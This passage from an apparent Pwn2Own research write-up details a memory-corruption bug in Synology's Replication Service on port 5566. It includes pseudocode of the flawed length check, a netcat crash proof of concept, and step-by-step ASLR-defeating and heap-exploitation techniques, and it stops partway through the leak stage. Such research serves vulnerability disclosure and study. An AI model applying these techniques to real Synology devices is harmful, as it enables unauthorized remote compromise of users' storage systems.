&lt;p&gt;This listener was actually part of Replication Service, a separate package which was a dependency of Virtual Machine Manager (and is also a dependency of Snapshot Replication). Our interest was piqued given the high privilege-level and ease of communication with this service.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/pwn2own_soho24_synology_replication_service.png&quot; data-lightbox=&quot;pwn2own_soho24_synology_replication_service.png&quot; data-title=&quot;&quot;&gt;
    
      &lt;img src=&quot;/assets/img/pwn2own_soho24_synology_replication_service.png&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;The next step was to examine the binary. Since we had installed the service on a real device, we were able to pull the files via SSH.&lt;/p&gt;

&lt;p&gt;Alternatively, software downloads are available &lt;a href=&quot;https://www.synology.com/en-us/support/download&quot;&gt;directly&lt;/a&gt; from Synology for both DSM (the core operating system) and packages. An &lt;a href=&quot;https://github.com/K4L0dev/Synology_Archive_Extractor&quot;&gt;extraction tool&lt;/a&gt; can then be used to parse the custom Synology archives and spit out the contents of packages, firmware images, or updates. Note that this particular tool is an FFI wrapper around native first-party Synology shared libraries, which can be pulled off a real device, or extracted from a DSM archive with a &lt;a href=&quot;https://github.com/technorabilia/syno-extract-system-patch&quot;&gt;separate tool&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;finding-the-bug&quot;&gt;Finding the Bug&lt;/h2&gt;

&lt;p&gt;With the relevant binaries in hand, we can start to look at the code for this TCP service listening on port 5566.
The main binary &lt;code class=&quot;highlighter-rouge&quot;&gt;synobtrfsreplicad&lt;/code&gt; is just a driver shim to invoke functionality in &lt;code class=&quot;highlighter-rouge&quot;&gt;libsynobtrfsreplicacore.so.7&lt;/code&gt;, which starts the TCP listener.&lt;/p&gt;

&lt;p&gt;The service is a minimal linux-based forking server, with the main process continually calling &lt;code class=&quot;highlighter-rouge&quot;&gt;accept()&lt;/code&gt; and forking off a child process to handle each new remote client. In turn, the child process runs a basic command loop to parse incoming messages sent to the service.&lt;/p&gt;

&lt;p&gt;Each command has a simple binary format, with an opcode optionally followed by a variably-sized data payload:&lt;/p&gt;

&lt;div style=&quot;overflow-x: auto; border: 1px solid #444; padding: 1rem;color: rgb(204, 204, 204); background-color: rgb(31, 31, 31); font-family: Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 14px; line-height: 19px; white-space: pre;&quot;&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;unsigned&lt;/span&gt; cmd&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt; // command opcode&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;unsigned&lt;/span&gt; seq&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt; // sequence number&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;unsigned&lt;/span&gt; len&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;char&lt;/span&gt; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;data&lt;/span&gt;[len]&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
Two globals are defined to facilitate parsing these command messages. One is for the command itself, and the other is a ring-buffer-esque structure to hold up to 3 variably-sized command payloads.&lt;/p&gt;

&lt;div style=&quot;overflow-x: auto; border: 1px solid #444; padding: 1rem;color: rgb(204, 204, 204); background-color: rgb(31, 31, 31); font-family: Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 14px; line-height: 19px; white-space: pre;&quot;&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;struct&lt;/span&gt;&lt;/div&gt;&lt;div&gt;{&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;char&lt;/span&gt; sector;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt; // ring buffer index&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;char&lt;/span&gt; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;bufs&lt;/span&gt;[&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;3&lt;/span&gt;][&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;65536&lt;/span&gt;];&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt; // ring buffer of 3 payloads&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;buf_lens&lt;/span&gt;[&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;3&lt;/span&gt;];&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt; // populated lengths of 3 payloads&lt;/span&gt;&lt;/div&gt;&lt;div&gt;} g_recvbuf;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;struct&lt;/span&gt;&lt;/div&gt;&lt;div&gt;{&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; ReplicaCmdHeader header;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt; // opcode, seq, len&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;char&lt;/span&gt; &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;*&lt;/span&gt;data;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt; // will point into one of the 3 g_recvbuf bufs&lt;/span&gt;&lt;/div&gt;&lt;div&gt;} g_cmd;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
The command loop for reading messages looks something like this:&lt;/p&gt;

&lt;div style=&quot;overflow-x: auto; border: 1px solid #444; padding: 1rem;color: rgb(204, 204, 204); background-color: rgb(31, 31, 31); font-family: Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 14px; line-height: 19px; white-space: pre;&quot;&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;runCmdLoop&lt;/span&gt;() {&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;while&lt;/span&gt;(&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;1&lt;/span&gt;) {&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;g_cmd&lt;/span&gt;.&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;data&lt;/span&gt; &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;g_recvbuf&lt;/span&gt;.&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;bufs&lt;/span&gt;[&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;g_recvbuf&lt;/span&gt;.&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;sector&lt;/span&gt;];&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;int&lt;/span&gt; err &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;recvCmd&lt;/span&gt;(&lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;&amp;amp;&lt;/span&gt;g_cmd);&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;if&lt;/span&gt; (err)&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; bail;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;border: 1px solid red&quot;&gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;g_cmd&lt;/span&gt;.&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;data&lt;/span&gt;[&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;g_cmd&lt;/span&gt;.&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;header&lt;/span&gt;.&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;len&lt;/span&gt;] &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0&lt;/span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // ... handle cmd ...&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; }&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;// function to read both the header and payload of a message&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;recvCmd&lt;/span&gt;(&lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;ReplicaCmd&lt;/span&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;*&lt;/span&gt; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;cmd&lt;/span&gt;) {&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;int&lt;/span&gt; err &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;raw_tcp_recv&lt;/span&gt;(&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;cmd&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;header&lt;/span&gt;, &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;12&lt;/span&gt;);&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;if&lt;/span&gt; (err)&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;return&lt;/span&gt; err;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;border: 1px solid #ff9900&quot;&gt;&lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;if&lt;/span&gt; (&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;cmd&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;header&lt;/span&gt;.&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;len&lt;/span&gt; &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x10000&lt;/span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;return&lt;/span&gt; err;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;&amp;nbsp; &amp;nbsp; // read actual payload data&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; err &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;raw_tcp_recv&lt;/span&gt;(&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;cmd&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;data&lt;/span&gt;, &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;cmd&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;header&lt;/span&gt;.&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;len&lt;/span&gt;);&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;&amp;nbsp; &amp;nbsp; // ...&lt;/span&gt;&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
If the &lt;span style=&quot;color:#ff9900&quot;&gt;attacker-supplied length is too large&lt;/span&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;recvCmd&lt;/code&gt; bails out without reading any payload. However, its return value is zero, indicating no error, a bit odd considering the header length was invalid… Back in the caller, which is unaware of any error, things proceed normally, and &lt;span style=&quot;color:red&quot;&gt;the command payload is null terminated, using the arbitrarily large header length&lt;/span&gt;.&lt;/p&gt;

&lt;p&gt;This bug is trivial enough that for our initial POC, we can use netcat to send a message consisting solely of A’s (at least 12), in classic pwnable fashion:&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/pwn2own_soho24_synology_crash.png&quot; data-lightbox=&quot;pwn2own_soho24_synology_crash.png&quot; data-title=&quot;&quot;&gt;
    
      &lt;img src=&quot;/assets/img/pwn2own_soho24_synology_crash.png&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;Unless you’re attached to the service using gdb, there’s no on-device indication that anything has gone wrong. The fault doesn’t seem to be logged to syslog or any other DSM logging facilities, and due to the nature of a forking server, there is no immediate loss of functionality.&lt;/p&gt;

&lt;p&gt;The primitive afforded by this vulnerability will allow us to make repeated null byte writes into arbitrary offsets of the shared library’s BSS (data segment). Very CTF-like. Although the vulnerability is rather simple, the exploitation of it will be a bit more interesting.&lt;/p&gt;

&lt;p&gt;Regardless, as all mitigations were enabled, we first had to somehow turn this into an info leak.&lt;/p&gt;

&lt;h2 id=&quot;forking-server&quot;&gt;Forking Server&lt;/h2&gt;

&lt;p&gt;Before we move on, recall that we’re dealing with a forking server, which can be very useful for breaking ASLR.
Each child process that is forked will have the same exact address space as the parent, and crashing them has no consequences: we simply reconnect to the service and get a clean slate, in the form of a new child process.
A bit like a time loop, each connection is an opportunity to glean new information about the address space in a cumulative manner.&lt;/p&gt;

&lt;p&gt;At a high level, each iteration has the following structure:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;Guess something (e.g. an address)&lt;/li&gt;
  &lt;li&gt;Have the binary use the guessed value such that it will behave differently if it’s correct or not (e.g. a wrong address will crash)&lt;/li&gt;
  &lt;li&gt;Observe the binary’s behavior to determine if the value was correct&lt;/li&gt;
  &lt;li&gt;If correct, we have found the right value. Otherwise, repeat with the next guess&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;We’ll see how this can be applied to this specific binary as we continue.&lt;/p&gt;

&lt;h2 id=&quot;functionality-overview&quot;&gt;Functionality Overview&lt;/h2&gt;

&lt;p&gt;Since the bug in question occurs during input parsing, we hadn’t yet explored much of the program’s functionality, which we’ll need to leverage in constructing an exploit later on.&lt;/p&gt;

&lt;p&gt;After reading the command from the network, the command loop has a switch-case over the supplied opcode. Opcodes that require input parse them from the variable-length command payload. We looked through all the available opcodes to get a rough idea of their functions:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;CMD_DSM_VER&lt;/code&gt; : no inputs
    &lt;ul&gt;
      &lt;li&gt;returns DSM version numbers&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;CMD_SSL&lt;/code&gt; : initializes SSL for the connection&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;CMD_TEST_CONNECT&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;CMD_NOP&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;CMD_VERSION&lt;/code&gt; : input integer
    &lt;ul&gt;
      &lt;li&gt;sets the “version” of the connection for compatibility differences&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;CMD_TOKEN&lt;/code&gt; : input string “token” &lt;em&gt;which must exist as a key in a JSON file on disk&lt;/em&gt;
    &lt;ul&gt;
      &lt;li&gt;performs initialization and sets the global &lt;code class=&quot;highlighter-rouge&quot;&gt;std::string g_token&lt;/code&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;CMD_NAME&lt;/code&gt; : input string “name”
    &lt;ul&gt;
      &lt;li&gt;can potentially perform btrfs-related operations, and/or use &lt;code class=&quot;highlighter-rouge&quot;&gt;g_token&lt;/code&gt; to modify the JSON file&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;CMD_SEND&lt;/code&gt; : input raw data
    &lt;ul&gt;
      &lt;li&gt;proxies input to a file descriptor, seemingly setup elsewhere as a pipe to a &lt;code class=&quot;highlighter-rouge&quot;&gt;btrfs&lt;/code&gt; command&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;CMD_UPDATE&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;CMD_STOP&lt;/code&gt; : input token string
    &lt;ul&gt;
      &lt;li&gt;removes token from JSON&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;CMD_COUNT&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;CMD_CLR_BKP&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;CMD_SYNCSIZE&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;CMD_END&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It soon became clear that many of these code paths hinged on providing a valid “token,” which was supposed to already exist in a JSON file at &lt;code class=&quot;highlighter-rouge&quot;&gt;/usr/syno/etc/synobtrfsreplica/btrfs_snap_replica_recv_token&lt;/code&gt;.
The JSON is used as a simple key-value store of attributes, where the tokens are the keys:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;{
    &quot;&amp;lt;token&amp;gt;&quot;: {&quot;&amp;lt;attribute&amp;gt;&quot;:value, ... other attributes ...},
    ... other tokens ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Presumably, some external service hands out these tokens and writes to the file, but where this happened was unclear to us.&lt;/p&gt;

&lt;p&gt;However, there is one code path that allows adding tokens to the JSON file, possibly in an unintended way. The &lt;code class=&quot;highlighter-rouge&quot;&gt;CMD_NAME&lt;/code&gt; opcode uses the current &lt;code class=&quot;highlighter-rouge&quot;&gt;g_token&lt;/code&gt;, and writes an attribute to the file, with two important nuances:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;it does not check if &lt;code class=&quot;highlighter-rouge&quot;&gt;g_token&lt;/code&gt; was ever initialized (i.e. with &lt;code class=&quot;highlighter-rouge&quot;&gt;CMD_TOKEN&lt;/code&gt;)&lt;/li&gt;
  &lt;li&gt;if the token did not already exist as a key in the JSON object, setting the attribute adds it&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Normally, the uninitialized &lt;code class=&quot;highlighter-rouge&quot;&gt;g_token&lt;/code&gt; will just be an empty string, but with memory corruption in play, all bets are off, and we’ll see how this proves useful later on.&lt;/p&gt;

&lt;h2 id=&quot;aslr-oracle-1-freeing-a-fake-heap-chunk&quot;&gt;ASLR Oracle #1: Freeing a Fake Heap Chunk&lt;/h2&gt;

&lt;p&gt;Our primitive is a null byte write, where we supply an arbitrary offset into a command payload buffer. The offset is unsigned, so we can only write nulls to memory following the payload buffer.&lt;/p&gt;

&lt;p&gt;This brings the question of what resides after the payload buffer, which will be one of the three 0x10000-sized buffers in the &lt;code class=&quot;highlighter-rouge&quot;&gt;g_recvbuf&lt;/code&gt; global in the shared library’s BSS.
There aren’t many globals except for a handful of &lt;code class=&quot;highlighter-rouge&quot;&gt;std::string&lt;/code&gt; instances, which have the following structure:&lt;/p&gt;

&lt;div style=&quot;overflow-x: auto; border: 1px solid #444; padding: 1rem;color: rgb(204, 204, 204); background-color: rgb(31, 31, 31); font-family: Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 14px; line-height: 19px; white-space: pre;&quot;&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;struct&lt;/span&gt; &lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;std&lt;/span&gt;::&lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;string&lt;/span&gt; {&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;*&lt;/span&gt; ptr;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt; // for short strings, points into inline_buffer&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;long&lt;/span&gt; length;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;char&lt;/span&gt; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;inline_buffer&lt;/span&gt;[&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;16&lt;/span&gt;];&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
The default constructor sets the length to 0, and points the &lt;code class=&quot;highlighter-rouge&quot;&gt;char*&lt;/code&gt; at the inline buffer. In other words, we’ll have a bunch of &lt;code class=&quot;highlighter-rouge&quot;&gt;std::string&lt;/code&gt; instances in the BSS with pointers set to their own BSS address, plus the offset 16.&lt;/p&gt;

&lt;p&gt;Now, consider if we use our null write to zero out the two lowest bytes of one of these pointers. The payload buffer that precedes it is 0x10000 bytes, which is large enough to guarantee that the partially-nulled BSS pointer points &lt;em&gt;somewhere&lt;/em&gt; within this buffer, although we don’t know the exact offset.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/pwn2own_soho24_synology_nullstring.svg&quot; data-lightbox=&quot;pwn2own_soho24_synology_nullstring.svg&quot; data-title=&quot;&quot;&gt;
    
      &lt;img src=&quot;/assets/img/pwn2own_soho24_synology_nullstring.svg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;Since ASLR has page granularity (12 bits), there will be 4 bits (one nibble) of entropy in this offset (i.e. it can be 0, 0x1000, 0x2000, … 0xf000).&lt;/p&gt;

&lt;p&gt;One of the global strings we can corrupt is &lt;code class=&quot;highlighter-rouge&quot;&gt;_gSnapRecvPath&lt;/code&gt;, which can be re-assigned as one of the operations performed by the &lt;code class=&quot;highlighter-rouge&quot;&gt;CMD_NAME&lt;/code&gt; command.&lt;/p&gt;

&lt;p&gt;When re-assigning a &lt;code class=&quot;highlighter-rouge&quot;&gt;std::string&lt;/code&gt;, if the &lt;code class=&quot;highlighter-rouge&quot;&gt;char*&lt;/code&gt; is not pointing at the inline buffer, &lt;code class=&quot;highlighter-rouge&quot;&gt;delete&lt;/code&gt; will be called on the old (now corrupted) value before assigning the new one.
&lt;em&gt;This lets us call&lt;/em&gt; &lt;code class=&quot;highlighter-rouge&quot;&gt;free&lt;/code&gt; &lt;em&gt;on a fake chunk within the payload buffer&lt;/em&gt;. We naturally control the contents of this buffer with our command payloads.&lt;/p&gt;

&lt;p&gt;When &lt;code class=&quot;highlighter-rouge&quot;&gt;free&lt;/code&gt; is invoked, if the fake chunk has a small-enough size, it will be placed into the glibc tcache. Alternatively, if the size is invalid (e.g. zero), &lt;code class=&quot;highlighter-rouge&quot;&gt;free&lt;/code&gt; will call &lt;code class=&quot;highlighter-rouge&quot;&gt;abort&lt;/code&gt;, crashing the process. &lt;strong&gt;This creates our first oracle&lt;/strong&gt;, which we can combine with the forking-server behavior to determine which of the 16 possible offsets (0, 0x1000, … 0xf000) the fake chunk resides at.&lt;/p&gt;

&lt;p&gt;For each of the 16 possible offsets:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Populate the payload buffer with padding up to the guessed offset, followed by the fake chunk’s metadata (which is just a fake size value)&lt;/li&gt;
  &lt;li&gt;Trigger the bug twice to null out the two low bytes of the &lt;code class=&quot;highlighter-rouge&quot;&gt;char*&lt;/code&gt; for &lt;code class=&quot;highlighter-rouge&quot;&gt;_gSnapRecvPath&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Use &lt;code class=&quot;highlighter-rouge&quot;&gt;CMD_NAME&lt;/code&gt; to free the corrupted &lt;code class=&quot;highlighter-rouge&quot;&gt;char*&lt;/code&gt;, which may or may not be pointing at the fake chunk placed at the guessed offset
    &lt;ul&gt;
      &lt;li&gt;if the socket remains connected and a response is sent, the guessed offset was correct&lt;/li&gt;
      &lt;li&gt;if the socket is closed (i.e. &lt;code class=&quot;highlighter-rouge&quot;&gt;abort&lt;/code&gt; was called), the guess was incorrect; try again with the next offset&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;We have now resolved one nibble of ASLR entropy and can reliably free a fake chunk in the payload buffer, which will be placed into the tcache.&lt;/p&gt;

&lt;h2 id=&quot;aslr-oracle-2-leaking-tokens&quot;&gt;ASLR Oracle #2: Leaking Tokens&lt;/h2&gt;

&lt;p&gt;The tcache is a singly-linked list of free chunks, and each free chunk has a next pointer. Due to some hardening attempts in glibc, the next pointer is populated like so:&lt;/p&gt;

&lt;div style=&quot;overflow-x: auto; border: 1px solid #444; padding: 1rem;color: rgb(204, 204, 204); background-color: rgb(31, 31, 31); font-family: Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 14px; line-height: 19px; white-space: pre;&quot;&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;chunk&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;next&lt;/span&gt; &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;=&lt;/span&gt; (&lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;chunk&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;next&lt;/span&gt; &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;12&lt;/span&gt;) &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;^&lt;/span&gt; next&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
In our case, the tcache list will previously be empty (&lt;code class=&quot;highlighter-rouge&quot;&gt;next = 0&lt;/code&gt;), so the value written will be &lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;amp;chunk-&amp;gt;next &amp;gt;&amp;gt; 12&lt;/code&gt;. In other words, we’ve placed a shifted BSS pointer into the payload buffer. We’ll now want to figure out some way to leak this value.&lt;/p&gt;

